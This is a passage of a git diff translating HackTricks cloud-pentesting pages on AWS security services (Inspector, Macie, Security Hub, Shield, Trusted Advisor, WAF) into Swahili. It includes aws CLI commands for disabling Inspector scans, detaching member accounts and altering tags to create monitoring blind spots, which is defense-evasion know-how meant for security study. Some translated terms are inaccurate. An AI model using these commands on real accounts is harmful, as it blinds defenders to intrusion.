accounts are included in security scans and reporting. This could lead to critical accounts being excluded from security monitoring, enabling the attacker to exploit vulnerabilities in those accounts without detection. +Mshambuliaji anaweza kubadilisha ushirikiano wa akaunti za wanachama ndani ya shirika la Amazon Inspector. Kwa kuunganisha akaunti zisizoidhinishwa au kutenganisha zile halali, mshambuliaji anaweza kudhibiti ni akaunti zipi zinazojumuishwa katika skani za usalama na ripoti. Hii inaweza kusababisha akaunti muhimu kutengwa kutoka kwa ufuatiliaji wa usalama, ikimuwezesha mshambuliaji kutumia udhaifu katika akaunti hizo bila kugundulika. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Kitendo hiki kinahitaji kufanywa na msimamizi aliyepewa mamlaka. ```bash # Associate aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` - -- **Potential Impact**: Exclusion of key accounts from security scans, enabling undetected exploitation of vulnerabilities. +- **Madhara Yanayoweza Kutokea**: Kutengwa kwa akaunti muhimu kutoka kwa skana za usalama, kuruhusu matumizi mabaya yasiyogundulika ya udhaifu. #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -An attacker with the `inspector2:Disable` permission would be able to disable security scans on specific resource types (EC2, ECR, Lambda, Lambda code) over the specified accounts, leaving parts of the AWS environment unmonitored and vulnerable to attacks. In addition, owing the **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** permissions, an attacker could then re-enable scans selectively to avoid detection of suspicious configurations. +Mshambuliaji mwenye ruhusa ya `inspector2:Disable` angeweza kuzima skana za usalama kwenye aina maalum za rasilimali (EC2, ECR, Lambda, Lambda code) juu ya akaunti zilizotajwa, na kuacha sehemu za mazingira ya AWS bila ufuatiliaji na hatarini kwa mashambulizi. Zaidi ya hayo, kutokana na ruhusa za **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, mshambuliaji angeweza kisha kurejesha skana kwa kuchagua ili kuepuka kugundulika kwa usanidi wa kushangaza. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Kitendo hiki kinahitaji kufanywa na msimamizi aliyepewa mamlaka. ```bash # Disable aws inspector2 disable --account-ids [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>] # Enable aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids ] ``` - -- **Potential Impact**: Creation of blind spots in the security monitoring. +- **Madhara Yanayoweza Kutokea**: Uundaji wa maeneo yasiyoonekana katika ufuatiliaji wa usalama. #### `inspector2:UpdateOrganizationConfiguration` -An attacker with this permission would be able to update the configurations for your Amazon Inspector organization, affecting the default scanning features enabled for new member accounts. +Mshambuliaji mwenye ruhusa hii angeweza kuboresha mipangilio ya shirika lako la Amazon Inspector, ikihusisha vipengele vya skanning vya default vilivyowekwa kwa akaunti mpya za wanachama. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Kitendo hiki kinahitaji kufanywa na msimamizi aliyepewa mamlaka. ```bash aws inspector2 update-organization-configuration --auto-enable ``` - -- **Potential Impact**: Alter security scan policies and configurations for the organization. +- **Madhara Yanayoweza Kutokea**: Badilisha sera za skana za usalama na mipangilio kwa shirika. #### `inspector2:TagResource`, `inspector2:UntagResource` -An attacker could manipulate tags on AWS Inspector resources, which are critical for organizing, tracking, and automating security assessments. By altering or removing tags, an attacker could potentially hide vulnerabilities from security scans, disrupt compliance reporting, and interfere with automated remediation processes, leading to unchecked security issues and compromised system integrity. - +Mshambuliaji anaweza kubadilisha lebo kwenye rasilimali za AWS Inspector, ambazo ni muhimu kwa kupanga, kufuatilia, na kuendesha tathmini za usalama. Kwa kubadilisha au kuondoa lebo, mshambuliaji anaweza kwa urahisi kuficha udhaifu kutoka kwa skana za usalama, kuharibu ripoti za ufuatiliaji, na kuingilia mchakato wa kurekebisha kiotomatiki, na kusababisha matatizo ya usalama yasiyodhibitiwa na kuathiri uaminifu wa mfumo. ```bash aws inspector2 tag-resource --resource-arn --tags aws inspector2 untag-resource --resource-arn --tag-keys ``` +- **Madhara Yanayoweza Kutokea**: Kufichwa kwa udhaifu, kuingiliwa kwa ripoti za ufuatiliaji, kuingiliwa kwa automatisering ya usalama na kuingiliwa kwa ugawaji wa gharama. -- **Potential Impact**: Hiding of vulnerabilities, disruption of compliance reporting, disruption of security automation and disruption of cost allocation. - -## References +## Marejeleo - [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index e6e3a2281..a137fb358 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,70 +6,69 @@ ## Macie -Amazon Macie stands out as a service designed to **automatically detect, classify, and identify data** within an AWS account. It leverages **machine learning** to continuously monitor and analyze data, primarily focusing on detecting and alerting against unusual or suspicious activities by examining **cloud trail event** data and user behavior patterns. +Amazon Macie inajitokeza kama huduma iliyoundwa ili **gundua, kuainisha, na kutambua data** ndani ya akaunti ya AWS kiotomatiki. Inatumia **ujifunzaji wa mashine** ili kuendelea kufuatilia na kuchambua data, ikilenga hasa kugundua na kutoa tahadhari dhidi ya shughuli zisizo za kawaida au za kutatanisha kwa kuchunguza **data ya tukio la wingu** na mifumo ya tabia za watumiaji. -Key Features of Amazon Macie: +Vipengele Muhimu vya Amazon Macie: -1. **Active Data Review**: Employs machine learning to review data actively as various actions occur within the AWS account. -2. **Anomaly Detection**: Identifies irregular activities or access patterns, generating alerts to mitigate potential data exposure risks. -3. **Continuous Monitoring**: Automatically monitors and detects new data in Amazon S3, employing machine learning and artificial intelligence to adapt to data access patterns over time. -4. **Data Classification with NLP**: Utilizes natural language processing (NLP) to classify and interpret different data types, assigning risk scores to prioritize findings. -5. **Security Monitoring**: Identifies security-sensitive data, including API keys, secret keys, and personal information, helping to prevent data leaks. +1. **Mapitio ya Data ya Kazi**: Inatumia ujifunzaji wa mashine kukagua data kwa njia ya kazi mbalimbali zinapotokea ndani ya akaunti ya AWS. +2. **Gundua Mambo Yasiyo ya Kawaida**: Inatambua shughuli zisizo za kawaida au mifumo ya ufikiaji, ikizalisha tahadhari ili kupunguza hatari za uwezekano wa kufichika kwa data. +3. **Ufuatiliaji Endelevu**: Inafuatilia na kugundua data mpya katika Amazon S3 kiotomatiki, ikitumia ujifunzaji wa mashine na akili bandia kubadilika kulingana na mifumo ya ufikiaji wa data kwa muda. +4. **Uainishaji wa Data kwa NLP**: Inatumia usindikaji wa lugha asilia (NLP) kuainisha na kutafsiri aina mbalimbali za data, ikitoa alama za hatari ili kuipa kipaumbele matokeo. +5. **Ufuatiliaji wa Usalama**: Inatambua data nyeti za usalama, ikiwa ni pamoja na funguo za API, funguo za siri, na taarifa za kibinafsi, kusaidia kuzuia kufichika kwa data. -Amazon Macie is a **regional service** and requires the 'AWSMacieServiceCustomerSetupRole' IAM Role and an enabled AWS CloudTrail for functionality. +Amazon Macie ni **huduma ya kikanda** na inahitaji 'AWSMacieServiceCustomerSetupRole' IAM Role na AWS CloudTrail iliyoanzishwa kwa ajili ya utendaji. -### Alert System +### Mfumo wa Tahadhari -Macie categorizes alerts into predefined categories like: +Macie inakategorisha tahadhari katika makundi yaliyoainishwa kama: -- Anonymized access -- Data compliance -- Credential Loss -- Privilege escalation +- Ufikiaji wa Anonymized +- Uzingatiaji wa Data +- Kupoteza Kiwango +- Kuinua Mamlaka - Ransomware -- Suspicious access, etc. +- Ufikiaji wa Kutatanisha, nk. -These alerts provide detailed descriptions and result breakdowns for effective response and resolution. +Tahadhari hizi zinatoa maelezo ya kina na ufafanuzi wa matokeo kwa ajili ya majibu na ufumbuzi mzuri. -### Dashboard Features +### Vipengele vya Dashibodi -The dashboard categorizes data into various sections, including: +Dashibodi inakategorisha data katika sehemu mbalimbali, ikiwa ni pamoja na: -- S3 Objects (by time range, ACL, PII) -- High-risk CloudTrail events/users -- Activity Locations -- CloudTrail user identity types, and more. +- Vitu vya S3 (kwa muda, ACL, PII) +- Matukio ya CloudTrail yenye hatari kubwa/kazi +- Mahali pa Shughuli +- Aina za utambulisho wa mtumiaji wa CloudTrail, na zaidi. -### User Categorization +### Uainishaji wa Watumiaji -Users are classified into tiers based on the risk level of their API calls: +Watumiaji wanaainishwa katika ngazi kulingana na kiwango cha hatari ya simu zao za API: -- **Platinum**: High-risk API calls, often with admin privileges. -- **Gold**: Infrastructure-related API calls. -- **Silver**: Medium-risk API calls. -- **Bronze**: Low-risk API calls. +- **Platinum**: Simu za API zenye hatari kubwa, mara nyingi zikiwa na mamlaka ya admin. +- **Gold**: Simu za API zinazohusiana na miundombinu. +- **Silver**: Simu za API zenye hatari ya kati. +- **Bronze**: Simu za API zenye hatari ndogo. -### Identity Types +### Aina za Utambulisho -Identity types include Root, IAM user, Assumed Role, Federated User, AWS Account, and AWS Service, indicating the source of requests. +Aina za utambulisho zinajumuisha Root, mtumiaji wa IAM, Jukumu lililodhaniwa, Mtumiaji wa Shirikisho, Akaunti ya AWS, na Huduma ya AWS, ikionyesha chanzo cha maombi. -### Data Classification +### Uainishaji wa Data -Data classification encompasses: +Uainishaji wa data unajumuisha: -- Content-Type: Based on detected content type. -- File Extension: Based on file extension. -- Theme: Categorized by keywords within files. -- Regex: Categorized based on specific regex patterns. +- Aina ya Maudhui: Kulingana na aina ya maudhui iliyogunduliwa. +- Kiambatisho cha Faili: Kulingana na kiambatisho cha faili. +- Mada: Imeainishwa kwa maneno muhimu ndani ya faili. +- Regex: Imeainishwa kulingana na mifumo maalum ya regex. -The highest risk among these categories determines the file's final risk level. +Hatari ya juu zaidi kati ya makundi haya inamua kiwango cha hatari cha faili. -### Research and Analysis +### Utafiti na Uchambuzi -Amazon Macie's research function allows for custom queries across all Macie data for in-depth analysis. Filters include CloudTrail Data, S3 Bucket properties, and S3 Objects. Moreover, it supports inviting other accounts to share Amazon Macie, facilitating collaborative data management and security monitoring. +Kazi ya utafiti ya Amazon Macie inaruhusu maswali maalum katika data yote ya Macie kwa uchambuzi wa kina. Filters zinajumuisha Data ya CloudTrail, mali za S3 Bucket, na Vitu vya S3. Zaidi ya hayo, inasaidia kuwalika akaunti nyingine kushiriki Amazon Macie, ikirahisisha usimamizi wa data wa pamoja na ufuatiliaji wa usalama. ### Enumeration - ``` # Get buckets aws macie2 describe-buckets @@ -102,12 +101,11 @@ aws macie2 list-classification-jobs aws macie2 list-classification-scopes aws macie2 list-custom-data-identifiers ``` - #### Post Exploitation > [!TIP] -> From an attackers perspective, this service isn't made to detect the attacker, but to detect sensitive information in the stored files. Therefore, this service might **help an attacker to find sensitive info** inside the buckets.\ -> However, maybe an attacker could also be interested in disrupting it in order to prevent the victim from getting alerts and steal that info easier. +> Kutoka kwa mtazamo wa mshambuliaji, huduma hii haijatengenezwa kugundua mshambuliaji, bali kugundua taarifa nyeti katika faili zilizohifadhiwa. Hivyo, huduma hii inaweza **kusaidia mshambuliaji kupata taarifa nyeti** ndani ya mabakuli.\ +> Hata hivyo, labda mshambuliaji anaweza pia kuwa na hamu ya kuingilia kati ili kuzuia mwathirika kupata arifa na kuiba taarifa hiyo kwa urahisi. TODO: PRs are welcome! @@ -116,7 +114,3 @@ TODO: PRs are welcome! - [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 36dc8fbe9..2014514bc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,24 +4,23 @@ ## Security Hub -**Security Hub** collects security **data** from **across AWS accounts**, services, and supported third-party partner products and helps you **analyze your security** trends and identify the highest priority security issues. +**Security Hub** inakusanya **data** za usalama kutoka **akaunti za AWS**, huduma, na bidhaa za washirika wa tatu zinazoungwa mkono na inakusaidia **kuchambua usalama wako** na kubaini masuala ya usalama yenye kipaumbele cha juu. -It **centralizes security related alerts across accounts**, and provides a UI for viewing these. The biggest limitation is it **does not centralize alerts across regions**, only across accounts +In **kuzingatia tahadhari zinazohusiana na usalama kati ya akaunti**, na inatoa UI ya kutazama hizi. Kikwazo kikubwa ni kwamba **haijazungumzia tahadhari kati ya mikoa**, bali tu kati ya akaunti. -**Characteristics** +**Sifa** -- Regional (findings don't cross regions) -- Multi-account support -- Findings from: - - Guard Duty - - Config - - Inspector - - Macie - - third party - - self-generated against CIS standards +- Mikoa (matokeo hayapiti mikoa) +- Msaada wa akaunti nyingi +- Matokeo kutoka: +- Guard Duty +- Config +- Inspector +- Macie +- washirika wa tatu +- yaliyoundwa mwenyewe dhidi ya viwango vya CIS ## Enumeration - ``` # Get basic info aws securityhub describe-hub @@ -50,7 +49,6 @@ aws securityhub list-automation-rules aws securityhub list-members aws securityhub get-members --account-ids ``` - ## Bypass Detection TODO, PRs accepted @@ -61,7 +59,3 @@ TODO, PRs accepted - [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index b1df3003b..05ed60001 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -4,16 +4,12 @@ ## Shield -AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS. +AWS Shield imeundwa kusaidia **kulinda miundombinu yako dhidi ya mashambulizi ya kukatisha huduma yaliyosambazwa**, yanayojulikana kama DDoS. -**AWS Shield Standard** is **free** to everyone, and it offers **DDoS protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53. +**AWS Shield Standard** ni **bure** kwa kila mtu, na inatoa **ulinzi wa DDoS** dhidi ya baadhi ya mashambulizi ya kawaida ya tabaka tatu, **tabaka la mtandao**, na tabaka nne, **tabaka la usafirishaji**, ya DDoS. Ulinzi huu umeunganishwa na CloudFront na Route 53. -**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**. +**AWS Shield advanced** inatoa **ngazi kubwa ya ulinzi** dhidi ya mashambulizi ya DDoS katika wigo mpana wa huduma za AWS kwa gharama ya ziada. Ngazi hii ya juu inatoa ulinzi dhidi ya programu zako za wavuti zinazotumia EC2, CloudFront, ELB na pia Route 53. Mbali na aina hizi za rasilimali zinazolindwa, kuna viwango vilivyoboreshwa vya ulinzi wa DDoS vinavyotolewa ikilinganishwa na ile ya Standard. Na pia utakuwa na **ufikiaji wa timu maalum ya majibu ya DDoS ya masaa 24 kwa siku saba katika AWS, inayojulikana kama DRT**. -Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.** +Wakati toleo la Standard la Shield lilitoa ulinzi dhidi ya tabaka tatu na tabaka nne, **Advanced pia inatoa ulinzi dhidi ya tabaka saba, mashambulizi ya programu.** {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index a975d7476..b939b4b7a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -6,20 +6,20 @@ ## AWS Trusted Advisor Overview -Trusted Advisor is a service that **provides recommendations** to optimize your AWS account, aligning with **AWS best practices**. It's a service that operates across multiple regions. Trusted Advisor offers insights in four primary categories: +Trusted Advisor ni huduma ambayo **inatoa mapendekezo** ya kuboresha akaunti yako ya AWS, ikilingana na **mbinu bora za AWS**. Ni huduma inayofanya kazi katika maeneo mengi. Trusted Advisor inatoa maarifa katika makundi manne makuu: -1. **Cost Optimization:** Suggests how to restructure resources to reduce expenses. -2. **Performance:** Identifies potential performance bottlenecks. -3. **Security:** Scans for vulnerabilities or weak security configurations. -4. **Fault Tolerance:** Recommends practices to enhance service resilience and fault tolerance. +1. **Cost Optimization:** Inapendekeza jinsi ya kubadilisha rasilimali ili kupunguza gharama. +2. **Performance:** Inatambua matatizo yanayoweza kuathiri utendaji. +3. **Security:** Inachunguza udhaifu au mipangilio dhaifu ya usalama. +4. **Fault Tolerance:** Inapendekeza mbinu za kuongeza uimara wa huduma na uvumilivu wa makosa. -The comprehensive features of Trusted Advisor are exclusively accessible with **AWS business or enterprise support plans**. Without these plans, access is limited to **six core checks**, primarily focused on performance and security. +Vipengele vya kina vya Trusted Advisor vinapatikana pekee kwa **mipango ya msaada wa biashara au biashara**. Bila mipango hii, ufikiaji unakabiliwa na **ukaguzi sita muhimu**, hasa unaolenga utendaji na usalama. ### Notifications and Data Refresh -- Trusted Advisor can issue alerts. -- Items can be excluded from its checks. -- Data is refreshed every 24 hours. However, a manual refresh is possible 5 minutes after the last refresh. +- Trusted Advisor inaweza kutoa arifa. +- Vitu vinaweza kutengwa kutoka kwa ukaguzi wake. +- Data inasasishwa kila masaa 24. Hata hivyo, kusasisha kwa mkono kunawezekana dakika 5 baada ya sasisho la mwisho. ### **Checks Breakdown** @@ -34,42 +34,38 @@ The comprehensive features of Trusted Advisor are exclusively accessible with ** #### Core Checks -Limited to users without business or enterprise support plans: +Imepunguzia watumiaji bila mipango ya msaada wa biashara au biashara: -1. Security Groups - Specific Ports Unrestricted +1. Security Groups - Ports Maalum Zisizozuiliwa 2. IAM Use -3. MFA on Root Account +3. MFA kwenye Akaunti ya Msingi 4. EBS Public Snapshots 5. RDS Public Snapshots 6. Service Limits #### Security Checks -A list of checks primarily focusing on identifying and rectifying security threats: +Orodha ya ukaguzi inayolenga hasa kutambua na kurekebisha vitisho vya usalama: -- Security group settings for high-risk ports -- Security group unrestricted access -- Open write/list access to S3 buckets -- MFA enabled on root account -- RDS security group permissiveness -- CloudTrail usage -- SPF records for Route 53 MX records -- HTTPS configuration on ELBs -- Security groups for ELBs -- Certificate checks for CloudFront -- IAM access key rotation (90 days) -- Exposure of access keys (e.g., on GitHub) -- Public visibility of EBS or RDS snapshots -- Weak or absent IAM password policies +- Mipangilio ya kikundi cha usalama kwa bandari zenye hatari kubwa +- Ufikiaji usio na kikomo wa kikundi cha usalama +- Ufikiaji wa kuandika/orodha wazi kwa S3 buckets +- MFA imewezeshwa kwenye akaunti ya msingi +- Uzembe wa kikundi cha usalama wa RDS +- Matumizi ya CloudTrail +- Rekodi za SPF kwa rekodi za MX za Route 53 +- Mipangilio ya HTTPS kwenye ELBs +- Vikundi vya usalama kwa ELBs +- Ukaguzi wa vyeti kwa CloudFront +- Mzunguko wa funguo za ufikiaji wa IAM (siku 90) +- Ufunuo wa funguo za ufikiaji (mfano, kwenye GitHub) +- Kuonekana kwa umma kwa EBS au RDS snapshots +- Sera dhaifu au zisizo na mipango ya nywila za IAM -AWS Trusted Advisor acts as a crucial tool in ensuring the optimization, performance, security, and fault tolerance of AWS services based on established best practices. +AWS Trusted Advisor inafanya kazi kama chombo muhimu katika kuhakikisha uboreshaji, utendaji, usalama, na uvumilivu wa makosa wa huduma za AWS kulingana na mbinu zilizowekwa. ## **References** - [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 661b836d5..e5f35bd9a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,103 +6,102 @@ ## AWS WAF -AWS WAF is a **web application firewall** designed to **safeguard web applications or APIs** against various web exploits which may impact their availability, security, or resource consumption. It empowers users to control incoming traffic by setting up **security rules** that mitigate typical attack vectors like SQL injection or cross-site scripting and also by defining custom filtering rules. +AWS WAF ni **firewall ya programu za wavuti** iliyoundwa ili **kulinda programu za wavuti au APIs** dhidi ya mashambulizi mbalimbali ya wavuti ambayo yanaweza kuathiri upatikanaji, usalama, au matumizi ya rasilimali zao. Inawawezesha watumiaji kudhibiti trafiki inayokuja kwa kuweka **sheria za usalama** ambazo hupunguza njia za kawaida za shambulio kama vile SQL injection au cross-site scripting na pia kwa kufafanua sheria za kuchuja za kawaida. ### Key concepts -#### Web ACL (Access Control List) +#### Web ACL (Orodha ya Udhibiti wa Ufikiaji) -A Web ACL is a collection of rules that you can apply to your web applications or APIs. When you associate a Web ACL with a resource, AWS WAF inspects incoming requests based on the rules defined in the Web ACL and takes the specified actions. +Web ACL ni mkusanyiko wa sheria ambazo unaweza kutumia kwa programu zako za wavuti au APIs. Unapounganisha Web ACL na rasilimali, AWS WAF inachunguza maombi yanayokuja kulingana na sheria zilizofafanuliwa katika Web ACL na kuchukua hatua zilizotajwa. #### Rule Group -A Rule Group is a reusable collection of rules that you can apply to multiple Web ACLs. Rule groups help manage and maintain consistent rule sets across different web applications or APIs. +Rule Group ni mkusanyiko wa sheria zinazoweza kutumika tena ambazo unaweza kutumia kwa Web ACL nyingi. Makundi ya sheria husaidia kusimamia na kudumisha seti za sheria zinazofanana katika programu tofauti za wavuti au APIs. -Each rule group has its associated **capacity**, which helps to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. Once its value is set during creation, it is not possible to modify it. +Kila kundi la sheria lina **uwezo** wake, ambao husaidia kuhesabu na kudhibiti rasilimali zinazotumika kuendesha sheria zako, makundi ya sheria, na Web ACLs. Mara thamani yake inapowekwa wakati wa uundaji, haiwezekani kuibadilisha. #### Rule -A rule defines a set of conditions that AWS WAF uses to inspect incoming web requests. There are two main types of rules: +Sheria inafafanua seti ya masharti ambayo AWS WAF inatumia kuchunguza maombi ya wavuti yanayokuja. Kuna aina mbili kuu za sheria: -1. **Regular Rule**: This rule type uses specified conditions to determine whether to allow, block, or count web requests. -2. **Rate-Based Rule**: Counts requests from a specific IP address over a five-minute period. Here, users define a threshold, and if the number of requests from an IP exceeds this limit within five minutes, subsequent requests from that IP are blocked until the request rate drops below the threshold. The minimum threshold for rate-based rules is **2000 requests**. +1. **Sheria ya Kawaida**: Aina hii ya sheria inatumia masharti yaliyotajwa ili kuamua ikiwa ruhusa, kuzuia, au kuhesabu maombi ya wavuti. +2. **Sheria ya Kiwango**: Inahesabu maombi kutoka kwa anwani maalum ya IP katika kipindi cha dakika tano. Hapa, watumiaji wanafafanua kigezo, na ikiwa idadi ya maombi kutoka kwa IP inazidi kikomo hiki ndani ya dakika tano, maombi yanayofuata kutoka kwa IP hiyo yanazuia hadi kiwango cha maombi kishuke chini ya kigezo. Kigezo cha chini kwa sheria za kiwango ni **maombi 2000**. #### Managed Rules -AWS WAF offers pre-configured, managed rule sets that are maintained by AWS and AWS Marketplace sellers. These rule sets provide protection against common threats and are regularly updated to address new vulnerabilities. +AWS WAF inatoa seti za sheria zilizowekwa awali, zinazodhibitiwa na AWS na wauzaji wa AWS Marketplace. Seti hizi za sheria zinatoa ulinzi dhidi ya vitisho vya kawaida na zinafanyiwa sasisho mara kwa mara ili kushughulikia udhaifu mpya. #### IP Set -An IP Set is a list of IP addresses or IP address ranges that you want to allow or block. IP sets simplify the process of managing IP-based rules. +IP Set ni orodha ya anwani za IP au anwani za IP ambazo unataka kuruhusu au kuzuia. IP sets hurahisisha mchakato wa kusimamia sheria za msingi wa IP. #### Regex Pattern Set -A Regex Pattern Set contains one or more regular expressions (regex) that define patterns to search for in web requests. This is useful for more complex matching scenarios, such as filtering specific sequences of characters. +Regex Pattern Set ina moja au zaidi ya maelezo ya kawaida (regex) ambayo yanafafanua mifumo ya kutafuta katika maombi ya wavuti. Hii ni muhimu kwa hali ngumu za mechi, kama vile kuchuja mfuatano maalum wa wahusika. #### Lock Token -A Lock Token is used for concurrency control when making updates to WAF resources. It ensures that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. +Lock Token inatumika kwa udhibiti wa ushirikiano wakati wa kufanya sasisho kwa rasilimali za WAF. Inahakikisha kwamba mabadiliko hayafutwi kwa bahati na watumiaji au michakato kadhaa wanaojaribu kubadilisha rasilimali hiyo hiyo kwa wakati mmoja. #### API Keys -API Keys in AWS WAF are used to authenticate requests to certain API operations. These keys are encrypted and managed securely to control access and ensure that only authorized users can make changes to WAF configurations. +API Keys katika AWS WAF zinatumika kuthibitisha maombi kwa shughuli fulani za API. Funguo hizi zimefichwa na kusimamiwa kwa usalama ili kudhibiti ufikiaji na kuhakikisha kwamba ni watumiaji walioidhinishwa pekee wanaweza kufanya mabadiliko kwenye usanidi wa WAF. -- **Example**: Integration of the CAPTCHA API. +- **Mfano**: Uunganisho wa API ya CAPTCHA. #### Permission Policy -A Permission Policy is an IAM policy that specifies who can perform actions on AWS WAF resources. By defining permissions, you can control access to WAF resources and ensure that only authorized users can create, update, or delete configurations. +Permission Policy ni sera ya IAM ambayo inabainisha ni nani anaweza kufanya vitendo kwenye rasilimali za AWS WAF. Kwa kufafanua ruhusa, unaweza kudhibiti ufikiaji wa rasilimali za WAF na kuhakikisha kwamba ni watumiaji walioidhinishwa pekee wanaweza kuunda, kusasisha, au kufuta usanidi. #### Scope -The scope parameter in AWS WAF specifies whether the WAF rules and configurations apply to a regional application or an Amazon CloudFront distribution. +Parameta ya scope katika AWS WAF inabainisha ikiwa sheria na usanidi wa WAF zinatumika kwa programu ya kikanda au usambazaji wa Amazon CloudFront. -- **REGIONAL**: Applies to regional services such as Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service and AWS Verified Access instance. You specify the AWS region where these resources are located. -- **CLOUDFRONT**: Applies to Amazon CloudFront distributions, which are global. WAF configurations for CloudFront are managed through the `us-east-1` region regardless of where the content is served. +- **REGIONAL**: Inatumika kwa huduma za kikanda kama vile Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, huduma ya AWS App Runner na mfano wa AWS Verified Access. Unabainisha eneo la AWS ambapo rasilimali hizi zipo. +- **CLOUDFRONT**: Inatumika kwa usambazaji wa Amazon CloudFront, ambao ni wa kimataifa. Usanidi wa WAF kwa CloudFront unasimamiwa kupitia eneo la `us-east-1` bila kujali mahali ambapo maudhui yanatolewa. ### Key features -#### Monitoring Criteria (Conditions) +#### Monitoring Criteria (Masharti) -**Conditions** specify the elements of incoming HTTP/HTTPS requests that AWS WAF monitors, which include XSS, geographical location (GEO), IP addresses, Size constraints, SQL Injection, and patterns (strings and regex matching). It's important to note that **requests restricted at the CloudFront level based on country won't reach WAF**. +**Masharti** yanabainisha vipengele vya maombi ya HTTP/HTTPS yanayokuja ambayo AWS WAF inafuatilia, ambayo ni pamoja na XSS, eneo la kijiografia (GEO), anwani za IP, vikwazo vya ukubwa, SQL Injection, na mifumo (mifumo ya herufi na mechi ya regex). Ni muhimu kutambua kwamba **maombi yaliyopunguziliwa mbali kwenye kiwango cha CloudFront kulingana na nchi hayatofika WAF**. -Each AWS account can configure: +Kila akaunti ya AWS inaweza kufafanua: -- **100 conditions** for each type (except for Regex, where only **10 conditions** are allowed, but this limit can be increased). -- **100 rules** and **50 Web ACLs**. -- A maximum of **5 rate-based rules**. -- A throughput of **10,000 requests per second** when WAF is implemented with an application load balancer. +- **Masharti 100** kwa kila aina (isipokuwa kwa Regex, ambapo ni **masharti 10** pekee yanaruhusiwa, lakini kikomo hiki kinaweza kuongezwa). +- **Sheria 100** na **Web ACLs 50**. +- Kiwango cha juu cha **sheria 5 za kiwango**. +- Uhamasishaji wa **maombi 10,000 kwa sekunde** wakati WAF inatekelezwa na balancer ya mzigo wa programu. #### Rule actions -Actions are assigned to each rule, with options being: +Vitendo vinatolewa kwa kila sheria, na chaguo ni: -- **Allow**: The request is forwarded to the appropriate CloudFront distribution or Application Load Balancer. -- **Block**: The request is terminated immediately. -- **Count**: Tallies the requests meeting the rule's conditions. This is useful for rule testing, confirming the rule's accuracy before setting it to Allow or Block. -- **CAPTCHA and Challenge:** It is verified that the request does not come from a bot using CAPTCHA puzzles and silent challenges. +- **Ruhusu**: Ombi linaelekezwa kwa usambazaji wa CloudFront au Balancer ya Mzigo wa Programu inayofaa. +- **Zuia**: Ombi linakatishwa mara moja. +- **Hesabu**: Inahesabu maombi yanayokidhi 